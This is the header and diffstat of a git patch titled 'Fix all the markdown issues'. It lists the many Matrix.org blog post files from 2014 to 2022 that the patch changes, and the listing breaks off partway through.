From dfbf98c53bce7c24d3b5c0671dcd62c9e4de1d78 Mon Sep 17 00:00:00 2001 From: MTRNord Date: Mon, 21 Oct 2024 20:54:56 +0200 Subject: [PATCH] Fix all the markdown issues --- CONTRIBUTING.md | 27 +- LICENSE.md | 6 +- README.md | 7 +- .../blog/2014/09/2014-09-03-hello-world.md | 24 +- .../09/2014-09-06-synapse-v0-2-2-released.md | 1 + .../09/2014-09-13-synapse-v0-2-3-released.md | 8 +- .../09/2014-09-18-synapse-0-3-2-released.md | 20 +- .../09/2014-09-22-synapse-0-3-3-released.md | 28 +- .../09/2014-09-25-synapse-0-3-4-released.md | 5 +- .../2014/10/2014-10-16-who-is-matrix-org.md | 1 - ...ks-available-and-synapse-0-4-1-released.md | 23 +- .../2014/11/2014-11-13-matrix-on-the-road.md | 2 +- ...-t-miss-matrix-in-tonight-s-vuc-session.md | 16 +- ...-29-matrix-on-the-road-2-a-winning-tour.md | 8 +- ...014-11-30-bridging-matrix-sip-via-verto.md | 40 +- .../12/2014-12-03-synapse-0-5-4-released.md | 8 +- .../12/2014-12-19-synapse-0-6-0a-released.md | 44 +- ...7-synapse-0-6-1-released-and-other-news.md | 10 +- .../2015-01-29-looking-forward-to-fosdem.md | 8 +- .../2015/02/2015-02-04-back-from-fosdem.md | 2 +- ...s-sdk-and-matrix-console-0-2-2-released.md | 66 +- ...0-and-matrix-angular-sdk-0-6-2-released.md | 2 +- ...1-released-with-application-service-api.md | 10 +- ...02-introduction-to-application-services.md | 4 +- ...app-javascript-sdk-0-0-1-released-oh-my.md | 19 +- ...roid-0-2-3-sdk-and-application-released.md | 72 +- .../2015/03/2015-03-19-tadhack-mini-london.md | 2 +- .../03/2015-03-26-synapse-0-8-1-is-here.md | 6 +- .../04/2015-04-08-video-iot-through-matrix.md | 4 +- .../04/2015-04-13-android-console-0-3-0.md | 15 +- ...015-04-13-tadhack-mini-london-completed.md | 5 +- ...-the-webrtc-and-kranky-geek-conferences.md | 4 +- ...15-04-22-matrix-irc-application-service.md | 24 +- ...itoring-synapse-metrics-with-prometheus.md | 4 +- .../04/2015-04-24-ios-welcome-to-matrixkit.md | 10 +- ...apse-0-9-0-and-matrix-angular-sdk-0-6-6.md | 46 +- ...-matrix-at-webrtc-conference-expo-miami.md | 4 +- .../05/2015-05-26-next-up-kamailio-world.md | 2 +- ...ost-entertaining-demo-at-kamailio-world.md | 2 +- .../06/2015-06-05-global-tadhack-hackathon.md | 31 +- .../2015-06-16-global-tadhack-matrix-hacks.md | 10 +- ...2015-06-19-android-matrix-console-0-4-0.md | 16 +- ...-irc-bridge-now-bridges-all-of-freenode.md | 13 +- ...2015-07-07-android-matrix-console-0-4-2.md | 20 +- ...ropub-support-as-an-application-service.md | 1 - .../2015/08/2015-08-06-upcoming-events.md | 4 +- .../2015-09-03-synapse-0-10-0-is-released.md | 34 +- .../2015/09/2015-09-07-matrix-one-year-in.md | 98 +-- ...now-supported-in-android-matrix-console.md | 12 +- .../09/2015-09-18-upcoming-conferences.md | 2 +- .../09/2015-09-21-matrix-console-ios-0-5-3.md | 8 +- .../2015-09-23-tadhack-chicago-october-3-4.md | 2 - ...6-congrats-to-our-tadhack-matrix-winner.md | 1 - ...7-android-matrix-console-0-5-1-released.md | 12 +- .../11/2015-11-17-synapse-0-11-0-is-here.md | 18 +- ...2015-11-20-android-matrix-console-0-5-2.md | 16 +- .../11/2015-11-22-matrix-console-ios-0-5-6.md | 2 +- .../12/2015-12-01-matrix-at-32c3-congress.md | 2 +- .../2015-12-25-the-matrix-holiday-special.md | 2 +- content/blog/2016/01/2016-01-18-fosdem-16.md | 4 +- .../2016/02/2016-02-09-matrix-in-japan.md | 4 +- .../02/2016-02-10-synapse-0-13-released.md | 14 +- .../02/2016-02-25-add-your-matrix-project.md | 2 +- .../2016-03-26-the-matrix-spring-special.md | 2 +- .../03/2016-03-30-synapse-0-14-is-released.md | 68 +- .../03/2016-03-31-tadhack-mini-london-2.md | 4 +- .../blog/2016/04/2016-04-22-gsoc-update.md | 2 +- ...016-04-25-announcing-the-matrix-gsocers.md | 2 +- .../2016/05/2016-05-23-kamailio-world-2016.md | 2 +- .../2016-07-04-the-matrix-summer-special.md | 214 +++--- ...ity-in-synapse-0-12-to-0-16-1-inclusive.md | 6 +- .../08/2016-08-08-synapse-0-17-0-released.md | 108 +-- .../2016/10/2016-10-20-tadhack-global-2016.md | 5 +- ...se-debian-package-security-announcement.md | 2 +- .../2016-11-12-the-matrix-autumn-special.md | 116 ++-- ...lemented-cross-platform-on-riot-at-last.md | 63 +- .../blog/2016/11/2016-11-22-synapse-0-18-4.md | 16 +- ...6-11-23-when-ericsson-discovered-matrix.md | 26 +- ...2-19-matrix-appservice-irc-0-7-0-is-out.md | 18 +- .../12/2016-12-19-synapse-0-18-5-released.md | 46 +- ...the-matrix-holiday-special-2016-edition.md | 90 +-- ...-please-upgrade-especially-if-on-0-18-5.md | 24 +- ...se-0-19-is-here-just-in-time-for-fosdem.md | 68 +- .../2017/02/2017-02-06-fosdem-2017-report.md | 4 +- .../02/2017-02-14-synapse-0-19-1-released.md | 2 +- ...d-problems-on-the-matrix-org-homeserver.md | 16 +- .../02/2017-02-21-synapse-0-19-2-is-out.md | 2 +- ...-do-i-bridge-thee-let-me-count-the-ways.md | 5 +- .../03/2017-03-14-an-adventure-in-irc-land.md | 48 +- .../03/2017-03-21-synapse-0-19-3-released.md | 32 +- ...ing-up-cyberspace-with-matrix-and-webvr.md | 12 +- .../2017-04-11-synapse-0-20-0-is-released.md | 64 +- ...te-on-matrix-org-homeserver-reliability.md | 40 +- .../2017-05-18-synapse-0-21-0-is-released.md | 70 +- .../07/2017-07-06-synapse-0-22-0-released.md | 50 +- ...-07-07-a-call-to-arms-supporting-matrix.md | 42 +- .../blog/2017/07/2017-07-19-status-update.md | 26 +- ...2017-08-22-thoughts-on-cryptocurrencies.md | 10 +- .../2017-08-23-introducing-matrix-widgets.md | 10 +- content/blog/2017/08/2017-08-30-pr.md | 2 + ...rix-riot-for-cryptocurrency-communities.md | 35 +- ...rism-librem5-starring-ubports-and-nheko.md | 20 +- .../blog/2017/09/2017-09-29-matrix-live.md | 1 + .../2017/10/2017-10-02-synapse-0-23-is-out.md | 36 +- ...1-tadhack-global-2017-and-the-port-2017.md | 4 +- .../10/2017-10-24-synapse-0-24-is-here.md | 40 +- ...5-is-out-as-is-matrix-specification-0-3.md | 148 ++-- ...atrix-holiday-mini-special-2017-edition.md | 18 +- .../01/2018-01-05-synapse-0-26-released.md | 38 +- ...tralised-comms-and-the-matrix-ecosystem.md | 12 +- ...-matrix-webrtc-and-webvr-at-fosdem-2018.md | 34 +- ...-03-16-urgent-synapse-0-26-1-hotfix-out.md | 2 +- .../03/2018-03-26-synapse-0-27-2-released.md | 76 +-- .../04/2018-04-11-synapse-0-27-3-released.md | 53 +- ...18-04-20-this-week-in-matrix-2018-04-20.md | 73 +- ...r-france-s-secure-instant-messenger-app.md | 4 - .../04/2018-04-27-synapse-0-28-0-released.md | 50 +- ...18-04-27-this-week-in-matrix-2018-04-27.md | 6 +- ...18-05-01-security-update-synapse-0-28-1.md | 4 +- ...18-05-04-this-week-in-matrix-2018-05-04.md | 56 +- .../2018-05-08-gdpr-compliance-in-matrix.md | 4 +- .../blog/2018/05/2018-05-18-synapse-0-29-1.md | 96 +-- ...18-05-18-this-week-in-matrix-2018-05-18.md | 48 +- ...018-05-24-synapse-0-30-0-released-today.md | 45 +- ...18-05-25-this-week-in-matrix-2018-05-25.md | 64 +- ...18-06-01-this-week-in-matrix-2018-06-01.md | 10 +- .../06/2018-06-06-synapse-v0-31-0-released.md | 60 +- .../06/2018-06-08-synapse-0-31-1-released.md | 2 +- ...18-06-08-this-week-in-matrix-2018-06-08.md | 74 +- ...-towards-open-governance-for-matrix-org.md | 29 +- ...18-06-22-this-week-in-matrix-2018-06-22.md | 16 +- ...18-06-29-this-week-in-matrix-2018-06-29.md | 32 +- ...18-07-05-this-week-in-matrix-2018-07-05.md | 16 +- ...18-07-06-security-update-synapse-0-32-0.md | 45 +- ...18-07-13-this-week-in-matrix-2018-07-13.md | 60 +- .../07/2018-07-19-synapse-0-33-0-is-here.md | 24 +- ...18-07-20-this-week-in-matrix-2018-07-20.md | 4 +- ...18-07-27-this-week-in-matrix-2018-07-27.md | 44 +- .../07/2018-07-30-dendrite-progress-update.md | 29 +- ...18-08-02-security-update-synapse-0-33-1.md | 4 +- ...18-08-04-this-week-in-matrix-2018-08-03.md | 46 +- .../08/2018-08-09-synapse-0-33-2-is-here.md | 99 ++- ...18-08-10-this-week-in-matrix-2018-08-10.md | 20 +- ...18-08-17-this-week-in-matrix-2018-08-17.md | 40 +- .../08/2018-08-22-synapse-0-33-3-released.md | 82 +-- ...18-08-24-this-week-in-matrix-2018-08-24.md | 66 +- ...ng-half-shot-thanks-for-all-the-bridges.md | 18 +- ...18-09-01-this-week-in-matrix-2018-08-31.md | 138 ++-- ...18-09-03-matrix-spec-update-august-2018.md | 65 +- ...oming-critical-security-fix-for-synapse.md | 6 +- ...itical-security-update-synapse-0-33-3-1.md | 12 +- ...18-09-08-this-week-in-matrix-2018-09-07.md | 22 +- .../09/2018-09-11-synapse-0-33-4-released.md | 54 +- ...18-09-15-this-week-in-matrix-2018-09-14.md | 52 +- ...18-09-21-this-week-in-matrix-2018-09-21.md | 42 +- .../09/2018-09-24-synapse-0-33-5-released.md | 82 +-- ...18-09-28-this-week-in-matrix-2018-09-28.md | 34 +- .../10/2018-10-04-synapse-0-33-6-released.md | 110 +-- ...18-10-05-this-week-in-matrix-2018-10-05.md | 2 +- ...he-story-of-giveth-s-new-matrix-chatbot.md | 21 +- ...18-10-12-this-week-in-matrix-2018-10-12.md | 56 +- .../2018-10-16-usage-of-the-matrix-js-sdk.md | 12 +- .../10/2018-10-18-synapse-0-33-7-released.md | 24 +- ...irst-matrix-homeserver-hosting-provider.md | 7 - ...18-10-27-this-week-in-matrix-2018-10-26.md | 32 +- ...g-the-matrix-org-foundation-part-1-of-2.md | 22 +- .../11/2018-11-01-synapse-v0-33-8-is-here.md | 56 +- ...18-11-02-this-week-in-matrix-2018-11-02.md | 8 +- ...review-end-to-end-encryption-by-default.md | 27 +- ...18-11-09-this-week-in-matrix-2018-11-09.md | 18 +- ...18-11-16-this-week-in-matrix-2018-11-16.md | 10 +- .../11/2018-11-20-synapse-0-33-9-is-here.md | 64 +- ...18-11-26-this-week-in-matrix-2018-11-26.md | 48 +- ...18-11-30-this-week-in-matrix-2018-11-30.md | 28 +- ...18-12-07-this-week-in-matrix-2018-12-07.md | 22 +- ...18-12-14-this-week-in-matrix-2018-12-14.md | 16 +- .../12/2018-12-20-synapse-0-34-0-released.md | 79 ++- .../2018-12-21-porting-synapse-to-python-3.md | 11 - ...18-12-21-this-week-in-matrix-2018-12-21.md | 12 +- ...8-12-25-the-2018-matrix-holiday-special.md | 129 ++-- ...18-12-28-this-week-in-matrix-2018-12-28.md | 28 +- ...19-01-04-this-week-in-matrix-2019-01-04.md | 6 +- ...pdate-synapse-0-34-0-1-synapse-0-34-1-1.md | 9 +- ...19-01-11-this-week-in-matrix-2019-01-11.md | 24 +- ...019-01-17-ben-s-favourite-projects-2018.md | 12 +- ...19-01-18-this-week-in-matrix-2019-01-18.md | 20 +- ...19-01-25-this-week-in-matrix-2019-01-25.md | 64 +- ...19-02-01-this-week-in-matrix-2019-02-01.md | 76 +-- .../blog/2019/02/2019-02-05-synapse-0-99-0.md | 95 ++- ...19-02-08-this-week-in-matrix-2019-02-08.md | 46 +- .../2019-02-14-synapse-0-99-1-1-released.md | 56 +- ...19-02-15-publishing-the-backend-roadmap.md | 31 +- ...19-02-16-this-week-in-matrix-2019-02-15.md | 48 +- ...19-02-22-this-week-in-matrix-2019-02-22.md | 32 +- ...ng-matrix-with-whatsapp-running-on-a-vm.md | 9 +- ...19-03-01-this-week-in-matrix-2019-03-01.md | 38 +- .../03/2019-03-04-synapse-0-99-2-released.md | 76 +-- ...7-experiments-with-payments-over-matrix.md | 12 +- ...19-03-08-this-week-in-matrix-2019-03-08.md | 16 +- ...-barrier-with-matrix-meshsim-coap-proxy.md | 38 +- ...3-15-matrix-1-0-https-arewereadyyet-com.md | 23 +- ...19-03-15-this-week-in-matrix-2019-03-15.md | 32 +- ...19-03-22-this-week-in-matrix-2019-03-22.md | 32 +- ...19-03-29-this-week-in-matrix-2019-03-29.md | 16 +- .../04/2019-04-01-synapse-0-99-3-released.md | 152 ++--- ...19-04-05-this-week-in-matrix-2019-04-05.md | 34 +- ...deprecating-postgres-9-4-and-python-2-x.md | 6 +- ...ed-a-security-breach-updated-2019-04-12.md | 12 +- ...2019-04-18-security-update-sydent-1-0-2.md | 4 +- ...19-04-18-this-week-in-matrix-2019-04-18.md | 33 +- ...19-04-26-this-week-in-matrix-2019-04-26.md | 41 +- ...1-and-riot-android-0-9-0-0-8-99-0-8-28a.md | 13 +- ...19-05-03-this-week-in-matrix-2019-05-03.md | 24 +- ...welcome-to-the-2019-g-so-c-participants.md | 2 +- ...mediations-for-apr-11-security-incident.md | 204 +++--- ...19-05-10-this-week-in-matrix-2019-05-10.md | 9 +- .../05/2019-05-15-synapse-0-99-4-released.md | 16 +- ...19-05-17-this-week-in-matrix-2019-05-17.md | 42 +- .../2019-05-21-synapse-0-99-5-1-released.md | 15 +- .../05/2019-05-24-final-countdown-to-1-0.md | 11 +- ...19-05-24-this-week-in-matrix-2019-05-24.md | 35 +- .../2019-05-30-synapse-0-99-5-2-released.md | 6 +- ...19-06-07-this-week-in-matrix-2019-06-07.md | 10 +- ...atrix-1-0-and-the-matrix-org-foundation.md | 43 +- .../06/2019-06-11-synapse-1-0-0-released.md | 44 +- ...19-06-14-this-week-in-matrix-2019-06-14.md | 15 +- ...19-06-21-this-week-in-matrix-2019-06-21.md | 14 +- ...19-06-28-this-week-in-matrix-2019-06-28.md | 43 +- ...9-06-30-tightening-up-privacy-in-matrix.md | 20 +- .../07/2019-07-04-synapse-1-1-0-released.md | 38 +- ...19-07-05-this-week-in-matrix-2019-07-05.md | 26 +- ...19-07-12-this-week-in-matrix-2019-07-12.md | 12 +- ...19-07-19-this-week-in-matrix-2019-07-19.md | 18 +- ...2019-07-24-data-portability-tooling-bug.md | 3 + .../07/2019-07-25-synapse-1-2-0-released.md | 37 +- ...-security-update-synapse-1-2-1-released.md | 3 +- ...19-07-26-this-week-in-matrix-2019-07-26.md | 15 +- ...19-08-02-this-week-in-matrix-2019-08-02.md | 22 +- ...19-08-09-this-week-in-matrix-2019-08-09.md | 17 +- .../08/2019-08-15-synapse-1-3-0-released.md | 26 +- ...19-08-16-this-week-in-matrix-2019-08-16.md | 66 +- .../08/2019-08-17-synapse-1-3-1-released.md | 10 +- ...19-08-23-this-week-in-matrix-2019-08-23.md | 9 +- ...19-08-30-this-week-in-matrix-2019-08-30.md | 28 +- ...19-09-06-this-week-in-matrix-2019-09-06.md | 13 +- ...visualisations-final-report-g-so-c-2019.md | 3 + ...te-development-final-report-g-so-c-2019.md | 20 +- ...19-09-13-this-week-in-matrix-2019-09-13.md | 4 + ...yption-support-final-report-g-so-c-2019.md | 6 +- ...19-09-20-this-week-in-matrix-2019-09-20.md | 21 +- ...mprovements-in-synapse-1-4-and-riot-1-4.md | 643 +++++++++--------- ...19-09-27-this-week-in-matrix-2019-09-27.md | 3 + ...rix-appservice-slack-bridge-1-0-is-here.md | 1 + .../10/2019-10-03-synapse-1-4-0-released.md | 333 +++++---- ...19-10-04-this-week-in-matrix-2019-10-04.md | 2 +- ...-8-5m-to-accelerate-matrix-riot-modular.md | 35 +- .../10/2019-10-18-synapse-1-4-1-released.md | 10 +- ...19-10-18-this-week-in-matrix-2019-10-18.md | 21 +- ...19-10-26-this-week-in-matrix-2019-10-26.md | 3 + .../10/2019-10-29-synapse-1-5-0-released.md | 39 +- ...19-11-01-this-week-in-matrix-2019-11-01.md | 19 +- ...ames-with-certificate-transparency-logs.md | 13 +- ...-0-and-identity-service-r0-3-0-releases.md | 50 +- ...19-11-08-this-week-in-matrix-2019-11-08.md | 8 +- ...come-visitors-on-private-matrix-servers.md | 12 +- ...19-11-15-this-week-in-matrix-2019-11-15.md | 16 +- .../11/2019-11-26-synapse-1-6-0-released.md | 32 +- ...19-11-29-this-week-in-matrix-2019-11-29.md | 14 +- ...19-12-06-this-week-in-matrix-2019-12-06.md | 6 +- .../12/2019-12-13-synapse-1-7-0-released.md | 34 +- ...19-12-13-this-week-in-matrix-2019-12-13.md | 8 +- .../12/2019-12-18-synapse-1-7-1-released.md | 3 +- .../2019-12-19-welcoming-mozilla-to-matrix.md | 3 +- .../12/2019-12-20-synapse-1-7-2-released.md | 8 +- ...19-12-20-this-week-in-matrix-2019-12-20.md | 2 +- ...19-12-24-the-2019-matrix-holiday-update.md | 163 +++-- ...19-12-27-this-week-in-matrix-2019-12-27.md | 11 +- .../12/2019-12-31-synapse-1-7-3-released.md | 9 +- .../2020-01-02-on-privacy-versus-freedom.md | 11 +- .../01/2020-01-09-synapse-1-8-0-released.md | 36 +- ...20-01-10-this-week-in-matrix-2020-01-10.md | 44 +- ...20-01-17-this-week-in-matrix-2020-01-17.md | 2 +- .../01/2020-01-23-synapse-1-9-0-released.md | 33 +- ...20-01-24-this-week-in-matrix-2020-01-24.md | 15 +- .../01/2020-01-28-synapse-1-9-1-released.md | 9 +- ...20-01-31-this-week-in-matrix-2020-01-31.md | 6 +- .../02/2020-02-03-matrix-at-fosdem-2020.md | 7 +- ...20-02-07-this-week-in-matrix-2020-02-07.md | 14 +- .../02/2020-02-12-synapse-1-10-0-released.md | 60 +- ...20-02-14-this-week-in-matrix-2020-02-14.md | 6 +- ...20-02-21-this-week-in-matrix-2020-02-21.md | 2 +- .../02/2020-02-24-synapse-1-11-0-released.md | 35 +- ...20-02-28-this-week-in-matrix-2020-02-28.md | 26 +- ...et-irc-is-dead-long-live-mozilla-matrix.md | 14 +- .../03/2020-03-03-synapse-1-11-1-released.md | 9 +- ...20-03-06-this-week-in-matrix-2020-03-06.md | 14 +- ...20-03-13-this-week-in-matrix-2020-03-13.md | 6 +- ...20-03-20-this-week-in-matrix-2020-03-20.md | 2 +- .../03/2020-03-23-synapse-1-12-0-released.md | 157 ++--- ...20-03-27-this-week-in-matrix-2020-03-27.md | 12 +- .../04/2020-04-02-synapse-1-12-2-released.md | 20 +- ...20-04-03-this-week-in-matrix-2020-04-03.md | 30 +- ...unication-service-with-matrix-and-jitsi.md | 81 +-- ...20-04-09-this-week-in-matrix-2020-04-09.md | 16 +- ...20-04-17-this-week-in-matrix-2020-04-17.md | 6 +- .../04/2020-04-23-synapse-1-12-4-released.md | 18 +- ...20-04-24-this-week-in-matrix-2020-04-24.md | 18 +- ...20-05-01-this-week-in-matrix-2020-05-01.md | 29 +- ...nd-to-end-encryption-by-default-is-here.md | 24 +- ...20-05-07-this-week-in-matrix-2020-05-07.md | 14 +- ...20-05-15-this-week-in-matrix-2020-05-15.md | 16 +- .../05/2020-05-19-synapse-1-13-0-released.md | 272 ++++---- ...20-05-22-this-week-in-matrix-2020-05-22.md | 22 +- ...6-1-and-federation-r0-1-4-spec-releases.md | 64 +- .../05/2020-05-28-synapse-1-14-0-released.md | 33 +- ...20-05-29-this-week-in-matrix-2020-05-29.md | 34 +- .../06/2020-06-02-introducing-p2p-matrix.md | 18 +- ...20-06-05-this-week-in-matrix-2020-06-05.md | 25 +- .../06/2020-06-11-synapse-1-15-0-released.md | 21 +- ...20-06-12-this-week-in-matrix-2020-06-12.md | 45 +- .../06/2020-06-16-synapse-1-15-1-released.md | 9 +- ...20-06-19-this-week-in-matrix-2020-06-19.md | 70 +- ...20-06-26-this-week-in-matrix-2020-06-26.md | 55 +- ...pse-1-15-2-released-with-security-fixes.md | 5 +- ...20-07-03-this-week-in-matrix-2020-07-03.md | 31 +- .../07/2020-07-08-synapse-1-16-0-released.md | 163 ++--- ...20-07-10-this-week-in-matrix-2020-07-10.md | 15 +- .../07/2020-07-13-synapse-1-17-0-released.md | 20 +- ...20-07-17-this-week-in-matrix-2020-07-17.md | 16 +- ...20-07-24-this-week-in-matrix-2020-07-24.md | 71 +- .../07/2020-07-30-synapse-1-18-0-released.md | 47 +- ...20-07-31-this-week-in-matrix-2020-07-31.md | 18 +- ...20-08-07-this-week-in-matrix-2020-08-07.md | 22 +- .../08/2020-08-17-synapse-1-19-0-released.md | 27 +- ...20-08-21-this-week-in-matrix-2020-08-21.md | 228 +++---- .../08/2020-08-27-synapse-1-19-1-released.md | 11 +- ...20-08-28-this-week-in-matrix-2020-08-28.md | 32 +- ...20-09-04-this-week-in-matrix-2020-09-04.md | 22 +- ...bling-e2ee-in-opsdroid-matrix-connector.md | 2 +- ...20-09-11-this-week-in-matrix-2020-09-11.md | 48 +- ...eport-html-embeddable-matrix-chat-rooms.md | 2 +- ...a-procedural-macro-refactoring-and-more.md | 2 +- .../09/2020-09-16-synapse-1-19-2-released.md | 3 +- ...rix-ircd-to-async-await-and-futures-0-3.md | 17 +- ...20-09-18-this-week-in-matrix-2020-09-18.md | 89 ++- .../09/2020-09-22-synapse-1-20-0-released.md | 199 +++--- ...20-09-25-this-week-in-matrix-2020-09-25.md | 53 +- .../2020-09-30-welcoming-gitter-to-matrix.md | 34 +- ...20-10-02-this-week-in-matrix-2020-10-02.md | 42 +- .../2020-10-08-dendrite-is-entering-beta.md | 243 +++---- ...20-10-09-this-week-in-matrix-2020-10-09.md | 14 +- .../10/2020-10-13-synapse-1-21-1-released.md | 253 ++++--- ...e-1-21-2-released-and-security-advisory.md | 6 +- ...20-10-16-this-week-in-matrix-2020-10-16.md | 30 +- ...ating-abuse-in-matrix-without-backdoors.md | 20 +- .../10/2020-10-20-dendrite-0-2-0-released.md | 16 +- ...20-10-23-this-week-in-matrix-2020-10-23.md | 36 +- .../10/2020-10-27-synapse-1-22-0-released.md | 220 +++--- ...20-10-30-this-week-in-matrix-2020-10-30.md | 38 +- ...1-03-how-we-fixed-synapse-s-scalability.md | 13 +- ...20-11-06-this-week-in-matrix-2020-11-06.md | 14 +- ...20-11-13-this-week-in-matrix-2020-11-13.md | 16 +- .../11/2020-11-16-dendrite-0-3-0-released.md | 3 +- .../11/2020-11-18-synapse-1-23-0-released.md | 187 +++-- ...20-11-20-this-week-in-matrix-2020-11-20.md | 88 +-- ...20-11-27-this-week-in-matrix-2020-11-27.md | 12 +- ...20-12-04-this-week-in-matrix-2020-12-04.md | 64 +- .../12/2020-12-07-gitter-now-speaks-matrix.md | 4 +- ...2-09-synapse-1-24-0-and-1-23-1-released.md | 2 - ...20-12-11-this-week-in-matrix-2020-12-11.md | 63 +- ...020-12-15-dendrite-2020-progress-update.md | 2 +- .../12/2020-12-18-introducing-cerulean.md | 68 +- ...20-12-18-this-week-in-matrix-2020-12-18.md | 46 +- ...0-12-25-the-matrix-holiday-special-2020.md | 64 +- ...20-12-30-this-week-in-matrix-2020-12-30.md | 22 +- ...1-01-04-taking-fosdem-online-via-matrix.md | 32 +- ...21-01-08-this-week-in-matrix-2021-01-08.md | 29 +- ...21-01-15-this-week-in-matrix-2021-01-15.md | 20 +- ...21-01-22-this-week-in-matrix-2021-01-22.md | 88 +-- .../01/2021-01-28-synapse-1-26-0-released.md | 14 +- ...21-01-29-this-week-in-matrix-2021-01-29.md | 62 +- ...21-02-05-this-week-in-matrix-2021-02-05.md | 129 ++-- ...21-02-12-this-week-in-matrix-2021-02-12.md | 80 +-- ...-15-how-we-hosted-fosdem-2021-on-matrix.md | 45 +- ...21-02-19-this-week-in-matrix-2021-02-19.md | 54 +- .../02/2021-02-25-synapse-1-28-0-released.md | 1 - ...21-02-26-this-week-in-matrix-2021-02-26.md | 79 +-- ...21-03-05-this-week-in-matrix-2021-03-05.md | 136 ++-- ...21-03-12-this-week-in-matrix-2021-03-12.md | 96 +-- ...21-03-19-this-week-in-matrix-2021-03-19.md | 71 +- ...21-03-26-this-week-in-matrix-2021-03-26.md | 60 +- ...21-04-01-this-week-in-matrix-2021-04-01.md | 62 +- ...21-04-09-this-week-in-matrix-2021-04-09.md | 81 +-- ...04-21-to-be-replaced-with-native-bridge.md | 11 +- ...21-04-16-this-week-in-matrix-2021-04-16.md | 177 ++--- .../04/2021-04-22-synapse-1-32-2-released.md | 2 +- ...21-04-23-this-week-in-matrix-2021-04-23.md | 140 ++-- ...21-04-30-this-week-in-matrix-2021-04-30.md | 112 +-- .../05/2021-05-05-synapse-1-33-0-released.md | 1 - ...ntroducing-the-pinecone-overlay-network.md | 4 +- ...21-05-07-this-week-in-matrix-2021-05-07.md | 77 +-- ...21-05-14-this-week-in-matrix-2021-05-14.md | 67 +- .../05/2021-05-17-the-matrix-space-beta.md | 14 +- ...k-s-online-safety-bill-threatens-matrix.md | 1 - .../2021-05-20-google-summer-of-code-2021.md | 4 +- ...21-05-21-this-week-in-matrix-2021-05-21.md | 137 ++-- ...21-05-28-this-week-in-matrix-2021-05-28.md | 137 ++-- ...21-06-04-this-week-in-matrix-2021-06-04.md | 103 ++- ...andwidth-matrix-an-implementation-guide.md | 74 +- ...21-06-11-this-week-in-matrix-2021-06-11.md | 99 ++- ...2021-06-14-adventures-in-fuzzing-libolm.md | 4 +- ...21-06-18-this-week-in-matrix-2021-06-18.md | 132 ++-- ...21-06-25-this-week-in-matrix-2021-06-25.md | 90 ++- ...security-update-synapse-1-37-1-released.md | 4 +- ...21-07-02-this-week-in-matrix-2021-07-02.md | 66 +- ...21-07-09-this-week-in-matrix-2021-07-09.md | 43 +- .../07/2021-07-12-dendrite-0-4-0-released.md | 8 +- .../07/2021-07-13-synapse-1-38-0-released.md | 3 +- ...21-07-16-this-week-in-matrix-2021-07-16.md | 40 +- ...ational-healthcare-system-adopts-matrix.md | 8 +- ...21-07-23-this-week-in-matrix-2021-07-23.md | 81 +-- .../07/2021-07-26-dendrite-0-4-1-released.md | 2 +- ...7-27-element-raises-30m-to-boost-matrix.md | 16 +- ...21-07-30-this-week-in-matrix-2021-07-30.md | 77 ++- ...21-08-06-this-week-in-matrix-2021-08-06.md | 147 ++-- .../08/2021-08-10-synapse-1-40-0-released.md | 2 +- ...21-08-13-this-week-in-matrix-2021-08-13.md | 73 +- ...21-08-20-this-week-in-matrix-2021-08-20.md | 177 +++-- ...21-08-27-this-week-in-matrix-2021-08-27.md | 38 +- .../08/2021-08-31-synapse-1-41-1-released.md | 2 +- ...21-09-03-this-week-in-matrix-2021-09-03.md | 59 +- .../09/2021-09-07-synapse-1-42-0-released.md | 2 +- ...21-09-10-this-week-in-matrix-2021-09-10.md | 26 +- ...13-vulnerability-disclosure-key-sharing.md | 45 +- ...21-09-17-this-week-in-matrix-2021-09-17.md | 52 +- ...21-09-24-this-week-in-matrix-2021-09-24.md | 33 +- ...21-10-01-this-week-in-matrix-2021-10-01.md | 26 +- .../10/2021-10-05-synapse-1-44-0-released.md | 8 +- ...21-10-08-this-week-in-matrix-2021-10-08.md | 66 +- ...21-10-15-this-week-in-matrix-2021-10-15.md | 43 +- .../10/2021-10-20-synapse-1-45-1-released.md | 2 +- ...21-10-22-this-week-in-matrix-2021-10-22.md | 49 +- ...21-10-29-this-week-in-matrix-2021-10-29.md | 133 ++-- .../11/2021-11-02-synapse-1-46-0-released.md | 4 +- ...21-11-05-this-week-in-matrix-2021-11-05.md | 127 ++-- .../2021/11/2021-11-09-matrix-v1-1-release.md | 23 - ...21-11-12-this-week-in-matrix-2021-11-12.md | 146 ++-- ...ming-security-release-of-synapse-1-47-1.md | 1 - ...21-11-19-this-week-in-matrix-2021-11-19.md | 191 +++--- .../11/2021-11-23-synapse-1-47-1-released.md | 5 +- ...21-11-26-this-week-in-matrix-2021-11-26.md | 182 ++--- .../11/2021-11-30-synapse-1-48-0-released.md | 2 +- ...ion-for-the-fosdem-2022-matrix-dev-room.md | 3 +- ...21-12-03-this-week-in-matrix-2021-12-03.md | 185 ++--- ...-03-type-coverage-for-sydent-motivation.md | 15 +- ...21-12-10-this-week-in-matrix-2021-12-10.md | 136 ++-- ...-10-type-coverage-for-sydent-annotation.md | 21 +- ...er-overflow-in-libolm-and-matrix-js-sdk.md | 2 +- ...21-12-17-this-week-in-matrix-2021-12-17.md | 224 +++--- ...-17-type-coverage-for-sydent-evaluation.md | 27 +- ...22-the-mega-matrix-holiday-special-2021.md | 36 +- ...22-01-07-this-week-in-matrix-2022-01-07.md | 298 ++++---- ...22-01-14-this-week-in-matrix-2022-01-14.md | 173 ++--- ...22-01-21-this-week-in-matrix-2022-01-21.md | 143 ++-- ...22-01-28-this-week-in-matrix-2022-01-28.md | 266 ++++---- .../2022/02/2022-02-02-matrix-v1-2-release.md | 23 +- ...-debunking-of-the-gatekeepers-arguments.md | 5 +- ...22-02-04-this-week-in-matrix-2022-02-04.md | 201 +++--- ...022-02-07-hosting-fosdem-2022-on-matrix.md | 2 +- ...22-02-11-this-week-in-matrix-2022-02-11.md | 158 +++-- ...22-02-18-this-week-in-matrix-2022-02-18.md | 150 ++-- ...22-02-25-this-week-in-matrix-2022-02-25.md | 47 +- ...22-03-04-this-week-in-matrix-2022-03-04.md | 288 ++++---- ...22-03-11-this-week-in-matrix-2022-03-11.md | 214 +++--- ...22-03-18-this-week-in-matrix-2022-03-18.md | 151 ++-- ...-sacrificing-privacy-matrix-and-the-dma.md | 6 +- ...22-03-25-this-week-in-matrix-2022-03-25.md | 257 +++---- ...plement-interoperability-in-a-dma-world.md | 10 +- ...echnical-faq-on-the-digital-markets-act.md | 3 +- ...22-04-01-this-week-in-matrix-2022-04-01.md | 128 ++-- ...22-04-08-this-week-in-matrix-2022-04-08.md | 160 +++-- ...22-04-14-this-week-in-matrix-2022-04-14.md | 97 +-- 